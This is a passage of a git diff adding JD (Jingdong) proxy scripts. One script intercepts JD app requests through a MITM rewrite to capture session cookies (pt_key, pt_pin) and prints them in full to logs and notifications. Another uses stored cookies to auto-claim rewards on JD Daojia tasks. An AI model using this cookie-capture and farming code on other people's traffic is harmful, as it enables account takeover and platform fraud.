} } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/Scripts/jingdong/jd_cookie.js b/Scripts/jingdong/jd_cookie.js new file mode 100644 index 00000000..dd5fa363 --- /dev/null +++ b/Scripts/jingdong/jd_cookie.js @@ -0,0 +1,182 @@ +/* +=================== +更新日期:2025-01-12 10:00:00 +特别说明:获取多个京东cookie的脚本,不和NobyDa的京东cookie冲突。注:如与NobyDa的京东cookie重复,建议在BoxJs处删除重复的cookie +使用方式:在代理软件配置好下方配置后,复制 https://home.m.jd.com/myJd/newhome.action 到浏览器打开,在个人中心刷新自动获取 cookie,若弹出成功则正常使用。否则继续再此页面继续刷新一下试试。 +注意事项:建议通过脚本去获取cookie,若要在BoxJs处手动修改,请按照JSON格式修改(注:可使用此JSON校验 https://www.bejson.com/json/format) +示例:[{"userName":"jd_xxx","cookie":"pt_key=AAJ;pt_pin=jd_xxx;"},{"userName":"jd_66","cookie":"pt_key=AAJ;pt_pin=jd_66;"}] + +=================== +[MITM] +hostname = home.m.jd.com +===================Quantumult X===================== +[rewrite_local] +# 获取多账号京东Cookie +^https:\/\/home\.m\.jd\.com\/myJd\/home\.action url script-request-header https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/jingdong/jd_cookie.js + +===================Loon=================== +[Script] +http-request ^https:\/\/home\.m\.jd\.com\/myJd\/home\.action script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/jingdong/jd_cookie.js, tag=获取多账号京东Cookie + +===================Surge=================== +[Script] +获取多账号京东Cookie = type=http-request,pattern=^https:\/\/home\.m\.jd\.com\/myJd\/home\.action,requires-body=1,max-size=0,script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/jingdong/jd_cookie.js,script-update-interval=0 + */ + +const APIKey = "CookiesJD"; +$ = new API(APIKey, true); +const CacheKey = `#${APIKey}`; +let req_url = $request.url; +if ($request) GetCookie(); + +function getCache() { + let cache = $.read(CacheKey) || "[]"; + $.log(cache); + return JSON.parse(cache); +} + +// 接受可变数量的参数对(id, key),并使用循环来处理这些参数对。 +// 如果找到了匹配的对象,则在后续参数对中更新对应的属性值;如果未找到,则创建一个新对象并将其添加到集合中。 +// 第一对数据是主键 +function updateOrAddObject(collection, ...args) { + if (args.length % 2 !== 0) { + throw new Error('Arguments must be provided in pairs.'); + } + + for (let i = 0; i < args.length; i += 2) { + const id = args[i]; + const key = args[i + 1]; + const index = collection.findIndex(obj => obj[id] === key); + + if (index !== -1) { + // 如果找到了,则更新对应的属性值 + for (let j = i + 2; j < args.length; j += 2) { + const id2 = args[j]; + const value = args[j + 1]; + collection[index][id2] = value; + } + } else { + // 如果未找到,则新增一个对象并添加到集合中 + const newObj = {}; + for (let j = i; j < args.length; j += 2) { + newObj[args[j]] = args[j + 1]; + } + collection.push(newObj); + break; + } + } +} + +function hasMatchingUser(collection, userName, cookie) { + // 如果集合为空或为null,直接返回false + if (!collection || collection.length === 0) { + return false; + } + // 遍历集合,判断是否存在匹配的userName和cookie + for (let obj of collection) { + if (obj.userName === userName && obj.cookie === cookie) { + return true; + } + } + // 如果遍历完成没有找到匹配项,返回false + return false; +} + +function GetCookie() { + try { + if ($request.headers) { + let tryAgain = true; + if (req_url.includes("/cgi-bin/app/appjmp") || req_url.includes("/todo/modifyLoginName")) { + let username = null; + let cookie = null; + console.log("遍历头部对象并打印每个字段和值开始❇️"); + for (const headerField in $request.headers) { + const headerValue = $request.headers[headerField]; + console.log(`${headerField}: ${headerValue}\n`); + if (headerValue?.startsWith("pt_pin=")) { + username = headerValue.substring(headerValue.indexOf("=") + 1); + } + if (headerValue?.startsWith("pt_key=")) { + cookie = headerValue.substring(headerValue.indexOf("=") + 1); + } + } + console.log("遍历头部对象并打印每个字段和值结束🍓"); + if (username && cookie) { + tryAgain = false; + console.log(`获取到username:${username},cookie:${cookie}`); + let unionCookie = `${cookie};${username};`; // pt_key=xxx;pt_pin=yyy; + let json_data = getCache(); + if (hasMatchingUser(json_data, username, unionCookie)) { + console.log("cookie已存在,直接结束🍓"); + $.done(); + } + updateOrAddObject(json_data, "userName", username, "cookie", unionCookie); + const cacheValue = JSON.stringify(json_data); + + $.write(cacheValue, CacheKey); + $.notify(`京东获取${username}的cookie成功✅`, "", ""); + $.done(); + }/* else { + $.notify(`京东匹配到URL但未获取到cookie❗️`, "你可以在脚本日志中查看详情", ""); + $.done(); + } */ + } + + if (tryAgain) { // 原来的代码 + let CV = $request.headers["Cookie"] || $request.headers["cookie"]; + if (CV?.match(/(pt_key=.+?pt_pin=|pt_pin=.+?pt_key=)/)) { + let CookieValue = CV.match(/pt_key=.+?;/) + CV.match(/pt_pin=.+?;/); + let UserName = CookieValue.match(/pt_pin=([^; ]+)(?=;?)/)[1]; + let DecodeName = decodeURIComponent(UserName); + let CookiesData = getCache(); + if (hasMatchingUser(CookiesData, UserName, CookieValue)) { + console.log("cookie已存在,直接结束🍓"); + $.done(); + } + let updateCookiesData = [...CookiesData]; + let updateIndex; + let CookieName; + let updateCookie = CookiesData.find((item, index) => { + let ck = item.cookie; + let Account = ck ? ck.match(/pt_pin=.+?;/) ? ck.match(/pt_pin=([^; ]+)(?=;?)/)[1] : null : null; + const verify = UserName === Account; + if (verify) { + updateIndex = index; + } + return verify; + }); + let tipPrefix = ""; + if (updateCookie) { + updateCookiesData[updateIndex].cookie = CookieValue; + CookieName = `【♥♥账号${updateIndex + 1}】`; + tipPrefix = "更新京东"; + } else { + updateCookiesData.push({ + userName: DecodeName, + cookie: CookieValue, + }); + CookieName = "【♥♥账号" + updateCookiesData.length + "】"; + tipPrefix = "首次写入京东"; + } + const cacheValue = JSON.stringify(updateCookiesData, null, "\t"); + $.write(cacheValue, CacheKey); + console.log(`获取到${DecodeName}的cookie:${CookieValue}`); + $.notify("用户名: " + DecodeName, "", tipPrefix + CookieName + "Cookie成功✔✔\n" + CookieValue); + } + } + } + } catch (eor) { + $.notify("♥♥写入京东Cookie失败, 请重试 ⚠️", "", ""); + console.log(`\n写入京东Cookie出现错误 ‼️\n + ${JSON.stringify(eor)}\n\n + ${eor}\n\n + ${JSON.stringify($request.headers)}\n` + ); + } + $.done(); +} + + +/*********************************** API *************************************/ +function ENV() { const e = "undefined" != typeof $task, t = "undefined" != typeof $loon, s = "undefined" != typeof $httpClient && !t, i = "function" == typeof require && "undefined" != typeof $jsbox; return { isQX: e, isLoon: t, isSurge: s, isNode: "function" == typeof require && !i, isJSBox: i, isRequest: "undefined" != typeof $request, isScriptable: "undefined" != typeof importModule } } function HTTP(e = { baseURL: "" }) { const { isQX: t, isLoon: s, isSurge: i, isScriptable: n, isNode: o } = ENV(), r = /https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&\/\/=]*)/; const u = {}; return ["GET", "POST", "PUT", "DELETE", "HEAD", "OPTIONS", "PATCH"].forEach(l => u[l.toLowerCase()] = (u => (function (u, l) { l = "string" == typeof l ? { url: l } : l; const h = e.baseURL; h && !r.test(l.url || "") && (l.url = h ? h + l.url : l.url); const a = (l = { ...e, ...l }).timeout, c = { onRequest: () => { }, onResponse: e => e, onTimeout: () => { }, ...l.events }; let f, d; if (c.onRequest(u, l), t) f = $task.fetch({ method: u, ...l }); else if (s || i || o) f = new Promise((e, t) => { (o ? require("request") : $httpClient)[u.toLowerCase()](l, (s, i, n) => { s ? t(s) : e({ statusCode: i.status || i.statusCode, headers: i.headers, body: n }) }) }); else if (n) { const e = new Request(l.url); e.method = u, e.headers = l.headers, e.body = l.body, f = new Promise((t, s) => { e.loadString().then(s => { t({ statusCode: e.response.statusCode, headers: e.response.headers, body: s }) }).catch(e => s(e)) }) } const p = a ? new Promise((e, t) => { d = setTimeout(() => (c.onTimeout(), t(`${u} URL: ${l.url} exceeds the timeout ${a} ms`)), a) }) : null; return (p ? Promise.race([p, f]).then(e => (clearTimeout(d), e)) : f).then(e => c.onResponse(e)) })(l, u))), u } function API(e = "untitled", t = !1) { const { isQX: s, isLoon: i, isSurge: n, isNode: o, isJSBox: r, isScriptable: u } = ENV(); return new class { constructor(e, t) { this.name = e, this.debug = t, this.http = HTTP(), this.env = ENV(), this.node = (() => { if (o) { return { fs: require("fs") } } return null })(), this.initCache(); Promise.prototype.delay = function (e) { return this.then(function (t) { return ((e, t) => new Promise(function (s) { setTimeout(s.bind(null, t), e) }))(e, t) }) } } initCache() { if (s && (this.cache = JSON.parse($prefs.valueForKey(this.name) || "{}")), (i || n) && (this.cache = JSON.parse($persistentStore.read(this.name) || "{}")), o) { let e = "root.json"; this.node.fs.existsSync(e) || this.node.fs.writeFileSync(e, JSON.stringify({}), { flag: "wx" }, e => console.log(e)), this.root = {}, e = `${this.name}.json`, this.node.fs.existsSync(e) ? this.cache = JSON.parse(this.node.fs.readFileSync(`${this.name}.json`)) : (this.node.fs.writeFileSync(e, JSON.stringify({}), { flag: "wx" }, e => console.log(e)), this.cache = {}) } } persistCache() { const e = JSON.stringify(this.cache, null, 2); s && $prefs.setValueForKey(e, this.name), (i || n) && $persistentStore.write(e, this.name), o && (this.node.fs.writeFileSync(`${this.name}.json`, e, { flag: "w" }, e => console.log(e)), this.node.fs.writeFileSync("root.json", JSON.stringify(this.root, null, 2), { flag: "w" }, e => console.log(e))) } write(e, t) { if (this.log(`SET ${t}`), -1 !== t.indexOf("#")) { if (t = t.substr(1), n || i) return $persistentStore.write(e, t); if (s) return $prefs.setValueForKey(e, t); o && (this.root[t] = e) } else this.cache[t] = e; this.persistCache() } read(e) { return this.log(`READ ${e}`), -1 === e.indexOf("#") ? this.cache[e] : (e = e.substr(1), n || i ? $persistentStore.read(e) : s ? $prefs.valueForKey(e) : o ? this.root[e] : void 0) } delete(e) { if (this.log(`DELETE ${e}`), -1 !== e.indexOf("#")) { if (e = e.substr(1), n || i) return $persistentStore.write(null, e); if (s) return $prefs.removeValueForKey(e); o && delete this.root[e] } else delete this.cache[e]; this.persistCache() } notify(e, t = "", l = "", h = {}) { const a = h["open-url"], c = h["media-url"]; if (s && $notify(e, t, l, h), n && $notification.post(e, t, l + `${c ? "\n多媒体:" + c : ""}`, { url: a }), i) { let s = {}; a && (s.openUrl = a), c && (s.mediaUrl = c), "{}" === JSON.stringify(s) ? $notification.post(e, t, l) : $notification.post(e, t, l, s) } if (o || u) { const s = l + (a ? `\n点击跳转: ${a}` : "") + (c ? `\n多媒体: ${c}` : ""); if (r) { require("push").schedule({ title: e, body: (t ? t + "\n" : "") + s }) } else console.log(`${e}\n${t}\n${s}\n\n`) } } log(e) { this.debug && console.log(`[${this.name}] LOG: ${this.stringify(e)}`) } info(e) { console.log(`[${this.name}] INFO: ${this.stringify(e)}`) } error(e) { console.log(`[${this.name}] ERROR: ${this.stringify(e)}`) } wait(e) { return new Promise(t => setTimeout(t, e)) } done(e = {}) { console.log('done!'); s || i || n ? $done(e) : o && !r && "undefined" != typeof $context && ($context.headers = e.headers, $context.statusCode = e.statusCode, $context.body = e.body) } stringify(e) { if ("string" == typeof e || e instanceof String) return e; try { return JSON.stringify(e, null, 2) } catch (e) { return "[object Object]" } } }(e, t) } +/*****************************************************************************/ diff --git a/Scripts/jingdong/jddj_bean.js b/Scripts/jingdong/jddj_bean.js new file mode 100644 index 00000000..fe333a75 --- /dev/null +++ b/Scripts/jingdong/jddj_bean.js @@ -0,0 +1,222 @@ +/* +京东到家鲜豆任务脚本,支持qx,loon,shadowrocket,surge,nodejs +用抓包抓 https://daojia.jd.com/html/index.html 页面cookie填写到下面,暂时不知cookie有效期 +抓多账号直接清除浏览器缓存再登录新账号,千万别点退出登录,否则cookie失效 +cookie只要里面的deviceid_pdj_jd=xxx-xxx-xxx;o2o_m_h5_sid=xxx-xxx-xxx关键信息 +一天运行一次 +boxjs订阅地址:https://gitee.com/passerby-b/javascript/raw/master/JD/passerby-b.boxjs.json +TG群:https://t.me/passerbyb2021 + +[task_local] +10 0 * * * https://raw.githubusercontent.com/passerby-b/JDDJ/main/jddj_bean.js + +[Script] +cron "10 0 * * *" script-path=https://raw.githubusercontent.com/passerby-b/JDDJ/main/jddj_bean.js,tag=京东到家鲜豆任务 + +*/ + +const $ = new API("jddj_bean"); +let ckPath = './jdCookie.js';//ck路径,环境变量:JDDJ_CKPATH +let cookies = []; +let thiscookie = '', deviceid = ''; +!(async () => { + if (cookies.length == 0) { + if ($.env.isNode) { + if (process.env.JDDJ_CKPATH) ckPath = process.env.JDDJ_CKPATH; + delete require.cache[ckPath]; + let jdcookies = require(ckPath); + for (let key in jdcookies) cookies.push(jdcookies[key]); + } + else { + let ckstr = $.read('#jddj_cookies'); + if (!!ckstr) { + if (ckstr.indexOf(',') < 0) { + cookies.push(ckstr); + } else { + cookies = ckstr.split(','); + } + } + } + } + if (cookies.length == 0) { + console.log(`\r\n请先填写cookie`); + return; + } + for (let i = 0; i < cookies.length; i++) { + console.log(`\r\n★★★★★开始执行第${i + 1}个账号,共${cookies.length}个账号★★★★★`); + thiscookie = cookies[i]; + if (!thiscookie.trim()) continue; + + deviceid = _uuid(); + let option = taskLoginUrl(deviceid, thiscookie); + await $.http.get(option).then(response => { + let data = JSON.parse(response.body); + if (data.code == 0) { + thiscookie = 'deviceid_pdj_jd=' + deviceid + '; PDJ_H5_PIN=' + data.result.PDJ_H5_PIN + '; o2o_m_h5_sid=' + data.result.o2o_m_h5_sid + ';'; + //sid = data.result.o2o_m_h5_sid; + } + else thiscookie = 'aabbcc'; + }); + + await userinfo(); + await $.wait(1000); + + let tslist = await taskList(); + if (tslist.code == 1) { + $.notify('第' + (i + 1) + '个账号cookie过期', '请访问\nhttps://bean.m.jd.com/bean/signIndex.action抓取cookie', { url: 'https://bean.m.jd.com/bean/signIndex.action' }); + continue; + } + + await runTask(tslist); + + } + +})().catch((e) => { + console.log('', `❌失败! 原因: ${e}!`, ''); +}).finally(() => { + $.done(); +}) + +//个人信息 +async function userinfo() { + return new Promise(async resolve => { + try { + let option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()) + '&platCode=H5&appName=paidaojia&channel=&appVersion=8.7.6&jdDevice=&functionId=mine%2FgetUserAccountInfo&body=%7B%22refPageSource%22:%22%22,%22fromSource%22:2,%22pageSource%22:%22myinfo%22,%22ref%22:%22%22,%22ctp%22:%22myinfo%22%7D&jda=&traceId=' + deviceid + Math.round(new Date()) + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + '', '') + + $.http.get(option).then(response => { + let data = JSON.parse(response.body); + if (data.code == 0) { + nickname = data.result.userInfo.userBaseInfo.nickName; + console.log("●●●" + nickname + "●●●"); + } + }) + resolve(); + + } catch (error) { + console.log('\n【个人信息】:' + error); + resolve(); + } + }) +} + +//任务列表 +async function taskList() { + return new Promise(async resolve => { + try { + let option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()) + '&functionId=task%2Flist&isNeedDealError=true&body=%7B%22modelId%22%3A%22M10001%22%2C%22plateCode%22%3A1%7D&channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + '&deviceToken=' + deviceid + '&deviceId=' + deviceid, ''); + + $.http.get(option).then(response => { + var data = JSON.parse(response.body); + //console.log(response.body); + resolve(data); + }) + + } catch (error) { + console.log('\n【任务列表】:' + error); + resolve({}); + } + + }) +} + + +async function runTask(tslist) { + return new Promise(async resolve => { + try { + for (let index = 0; index < tslist.result.taskInfoList.length; index++) { + const item = tslist.result.taskInfoList[index]; + + //领取任务 + let option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()) + '&functionId=task%2Freceived&isNeedDealError=true&body=%7B%22modelId%22%3A%22' + item.modelId + '%22%2C%22taskId%22%3A%22' + encodeURIComponent(item.taskId) + '%22%2C%22taskType%22%3A' + item.taskType + '%2C%22plateCode%22%3A1%7D&channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + Math.round(new Date()) + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + '', ``); + await $.http.get(option).then(response => { + var data = JSON.parse(response.body), msg = ''; + if (data.code == 0) { + msg = data.msg + ',奖励:' + data.result.awardValue; + } else { + msg = data.msg; + } + console.log('\n领取任务【' + item.taskName + '】:' + msg); + }) + + if (item.browseTime > -1) { + for (let t = 0; t < parseInt(item.browseTime); t++) { + await $.wait(1000); + console.log('计时:' + (t + 1) + '秒...'); + } + } + + //结束任务 + option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()) + '&functionId=task%2Ffinished&isNeedDealError=true&body=%7B%22modelId%22%3A%22' + item.modelId + '%22%2C%22taskId%22%3A%22' + encodeURIComponent(item.taskId) + '%22%2C%22taskType%22%3A' + item.taskType + '%2C%22plateCode%22%3A1%7D&channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + Math.round(new Date()) + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + '', ``); + await $.http.get(option).then(response => { + var data = JSON.parse(response.body), msg = ''; + if (data.code == 0) { + msg = data.msg + ',奖励:' + data.result.awardValue; + } else { + msg = data.msg; + } + console.log('\n任务完成【' + item.taskName + '】:' + msg); + }) + + //领取奖励 + option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()) + '&functionId=task%2FsendPrize&isNeedDealError=true&body=%7B%22modelId%22%3A%22' + item.modelId + '%22%2C%22taskId%22%3A%22' + encodeURIComponent(item.taskId) + '%22%2C%22taskType%22%3A' + item.taskType + '%2C%22plateCode%22%3A1%7D&channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + Math.round(new Date()) + '&deviceToken=' + deviceid + '&deviceId=' + deviceid, ``); + await $.http.get(option).then(response => { + var data = JSON.parse(response.body), msg = ''; + if (data.code == 0) { + msg = data.msg + ',奖励:' + data.result.awardValue; + } else { + msg = data.msg; + } + console.log('\n领取奖励【' + item.taskName + '】:' + msg); + }) + + } + resolve(); + } catch (error) { + console.log('\n【执行任务】:' + error); + resolve(); + } + + }) +} + +function urlTask(url, body) { + let option = { + url: url, + headers: { + 'Host': 'daojia.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded;', + 'Origin': 'https://daojia.jd.com', + 'Cookie': thiscookie, + 'Connection': 'keep-alive', + 'Accept': '*/*', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148________appName=jdLocal&platform=iOS&commonParams={"sharePackageVersion":"2"}&djAppVersion=8.7.5&supportDJSHWK', + 'Accept-Language': 'zh-cn' + }, + body: body + }; + return option; +} + +function taskLoginUrl(deviceid, thiscookie) { + return { + url: 'https://daojia.jd.com/client?_jdRandom=' + (+new Date()) + '&functionId=xapp/loginByPtKeyNew&body=' + escape(JSON.stringify({ "fromSource": 5, "businessChannel": 150, "subChannel": "", "regChannel": "" })) + 'channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&code=011UYn000apwmL1nWB000aGiv74UYn03&deviceId=' + deviceid + '&deviceToken=' + deviceid + '&deviceModel=appmodel', + headers: { + "Cookie": 'deviceid_pdj_jd=' + deviceid + ';' + thiscookie + ';', + "Host": "daojia.jd.com", + "referer": "https://daojia.jd.com/taroh5/h5dist/", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": 'Mozilla/5.0 (iPhone; CPU iPhone OS 14_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko)' + } + } +} + +function _uuid() { + function s4() { + return Math.floor((1 + Math.random()) * 0x10000).toString(16).substring(1); + } + return s4() + s4() + '-' + s4() + '-' + s4() + '-' + s4() + '-' + s4() + s4() + s4(); +} + +/*********************************** API *************************************/ +function ENV() { const e = "undefined" != typeof $task, t = "undefined" != typeof $loon, s = "undefined" != typeof $httpClient && !t, i = "function" == typeof require && "undefined" != typeof $jsbox; return { isQX: e, isLoon: t, isSurge: s, isNode: "function" == typeof require && !i, isJSBox: i, isRequest: "undefined" != typeof $request, isScriptable: "undefined" != typeof importModule } } function HTTP(e = { baseURL: "" }) { const { isQX: t, isLoon: s, isSurge: i, isScriptable: n, isNode: o } = ENV(), r = /https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&\/\/=]*)/; const u = {}; return ["GET", "POST", "PUT", "DELETE", "HEAD", "OPTIONS", "PATCH"].forEach(l => u[l.toLowerCase()] = (u => (function (u, l) { l = "string" == typeof l ? { url: l } : l; const h = e.baseURL; h && !r.test(l.url || "") && (l.url = h ? h + l.url : l.url); const a = (l = { ...e, ...l }).timeout, c = { onRequest: () => { }, onResponse: e => e, onTimeout: () => { }, ...l.events }; let f, d; if (c.onRequest(u, l), t) f = $task.fetch({ method: u, ...l }); else if (s || i || o) f = new Promise((e, t) => { (o ? require("request") : $httpClient)[u.toLowerCase()](l, (s, i, n) => { s ? t(s) : e({ statusCode: i.status || i.statusCode, headers: i.headers, body: n }) }) }); else if (n) { const e = new Request(l.url); e.method = u, e.headers = l.headers, e.body = l.body, f = new Promise((t, s) => { e.loadString().then(s => { t({ statusCode: e.response.statusCode, headers: e.response.headers, body: s }) }).catch(e => s(e)) }) } const p = a ? new Promise((e, t) => { d = setTimeout(() => (c.onTimeout(), t(`${u} URL: ${l.url} exceeds the timeout ${a} ms`)), a) }) : null; return (p ? Promise.race([p, f]).then(e => (clearTimeout(d), e)) : f).then(e => c.onResponse(e)) })(l, u))), u } function API(e = "untitled", t = !1) { const { isQX: s, isLoon: i, isSurge: n, isNode: o, isJSBox: r, isScriptable: u } = ENV(); return new class { constructor(e, t) { this.name = e, this.debug = t, this.http = HTTP(), this.env = ENV(), this.node = (() => { if (o) { return { fs: require("fs") } } return null })(), this.initCache(); Promise.prototype.delay = function (e) { return this.then(function (t) { return ((e, t) => new Promise(function (s) { setTimeout(s.bind(null, t), e) }))(e, t) }) } } initCache() { if (s && (this.cache = JSON.parse($prefs.valueForKey(this.name) || "{}")), (i || n) && (this.cache = JSON.parse($persistentStore.read(this.name) || "{}")), o) 